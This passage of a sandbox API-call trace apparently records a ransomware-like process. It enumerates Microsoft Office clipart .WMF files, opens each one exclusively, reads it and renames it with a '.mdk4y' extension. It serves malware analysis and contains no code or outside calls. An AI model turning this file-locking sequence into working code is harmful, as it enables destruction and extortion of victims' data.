lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.708] AreFileApisANSI () returned 1 [0145.708] GetACP () returned 0x4e4 [0145.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0102594.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0102594.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.708] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822093800000) returned 1 [0145.708] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6978, lpOverlapped=0x0) returned 1 [0145.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822097200000) returned 1 [0145.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822097200000) returned 1 [0145.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.mdk4y")) returned 1 [0145.743] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.744] AreFileApisANSI () returned 1 [0145.744] GetACP () returned 0x4e4 [0145.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0102762.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0102762.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.744] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822097400000) returned 1 [0145.744] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bd0, lpOverlapped=0x0) returned 1 [0145.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822099000000) returned 1 [0145.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822099000000) returned 1 [0145.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.mdk4y")) returned 1 [0145.762] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.762] AreFileApisANSI () returned 1 [0145.763] GetACP () returned 0x4e4 [0145.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0102984.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0102984.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822099300000) returned 1 [0145.763] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4290, lpOverlapped=0x0) returned 1 [0145.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822100800000) returned 1 [0145.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822100800000) returned 1 [0145.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.mdk4y")) returned 1 [0145.779] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.779] AreFileApisANSI () returned 1 [0145.780] GetACP () returned 0x4e4 [0145.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0103058.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0103058.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822101000000) returned 1 [0145.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43c0, lpOverlapped=0x0) returned 1 [0145.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822103300000) returned 1 [0145.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822103300000) returned 1 [0145.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.mdk4y")) returned 1 [0145.805] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.805] AreFileApisANSI () returned 1 [0145.805] GetACP () returned 0x4e4 [0145.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0103262.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0103262.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822103500000) returned 1 [0145.805] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3264, lpOverlapped=0x0) returned 1 [0145.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822108600000) returned 1 [0145.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822108600000) returned 1 [0145.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.mdk4y")) returned 1 [0145.858] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.858] AreFileApisANSI () returned 1 [0145.858] GetACP () returned 0x4e4 [0145.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0103402.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0103402.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.858] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822108900000) returned 1 [0145.859] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf94, lpOverlapped=0x0) returned 1 [0145.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822112900000) returned 1 [0145.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822112900000) returned 1 [0145.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.mdk4y")) returned 1 [0145.901] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.901] AreFileApisANSI () returned 1 [0145.901] GetACP () returned 0x4e4 [0145.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0103812.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0103812.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822113200000) returned 1 [0145.902] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1714, lpOverlapped=0x0) returned 1 [0145.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120000000) returned 1 [0145.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120000000) returned 1 [0145.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.mdk4y")) returned 1 [0145.971] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.971] AreFileApisANSI () returned 1 [0145.971] GetACP () returned 0x4e4 [0145.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0103850.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0103850.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120200000) returned 1 [0145.972] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c2c, lpOverlapped=0x0) returned 1 [0145.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120300000) returned 1 [0145.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120300000) returned 1 [0145.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.mdk4y")) returned 1 [0145.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.974] AreFileApisANSI () returned 1 [0145.975] GetACP () returned 0x4e4 [0145.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105230.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105230.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.975] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822120500000) returned 1 [0145.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1434, lpOverlapped=0x0) returned 1 [0146.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822124200000) returned 1 [0146.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822124200000) returned 1 [0146.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.mdk4y")) returned 1 [0146.014] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.014] AreFileApisANSI () returned 1 [0146.014] GetACP () returned 0x4e4 [0146.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105232.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105232.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822124500000) returned 1 [0146.015] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1600, lpOverlapped=0x0) returned 1 [0146.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822128000000) returned 1 [0146.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822128000000) returned 1 [0146.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.mdk4y")) returned 1 [0146.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.051] AreFileApisANSI () returned 1 [0146.051] GetACP () returned 0x4e4 [0146.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105234.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105234.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822128200000) returned 1 [0146.053] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd74, lpOverlapped=0x0) returned 1 [0146.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822134500000) returned 1 [0146.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822134500000) returned 1 [0146.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.mdk4y")) returned 1 [0146.117] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.117] AreFileApisANSI () returned 1 [0146.117] GetACP () returned 0x4e4 [0146.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105238.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105238.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.117] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822134700000) returned 1 [0146.118] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4314, lpOverlapped=0x0) returned 1 [0146.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822139500000) returned 1 [0146.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822139500000) returned 1 [0146.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.mdk4y")) returned 1 [0146.167] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.167] AreFileApisANSI () returned 1 [0146.167] GetACP () returned 0x4e4 [0146.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105240.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105240.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.167] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822139700000) returned 1 [0146.167] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d0c, lpOverlapped=0x0) returned 1 [0146.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822139900000) returned 1 [0146.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822139900000) returned 1 [0146.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.mdk4y")) returned 1 [0146.170] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.170] AreFileApisANSI () returned 1 [0146.170] GetACP () returned 0x4e4 [0146.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105244.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105244.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.213] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822144400000) returned 1 [0146.214] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bdc, lpOverlapped=0x0) returned 1 [0146.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822144500000) returned 1 [0146.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822144500000) returned 1 [0146.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.mdk4y")) returned 1 [0146.217] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.217] AreFileApisANSI () returned 1 [0146.217] GetACP () returned 0x4e4 [0146.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105246.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105246.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.217] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 